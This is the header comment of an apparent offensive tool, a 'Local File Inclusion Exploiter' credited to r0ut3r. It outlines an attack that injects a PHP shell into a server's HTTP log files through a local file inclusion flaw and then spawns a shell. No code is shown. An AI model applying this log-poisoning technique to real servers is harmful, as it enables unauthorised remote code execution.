# Local File Inclusion Exploiter #
# #
# This script attempts to exploit a local file include vulnerability #
# by finding a readable http log file, then by sending a specially crafted #
# http request to the server in order to insert a PHP Shell into the #
# log files. A shell is then spawned. #
# #
# Created By r0ut3r (writ3r [at] gmail.com) #
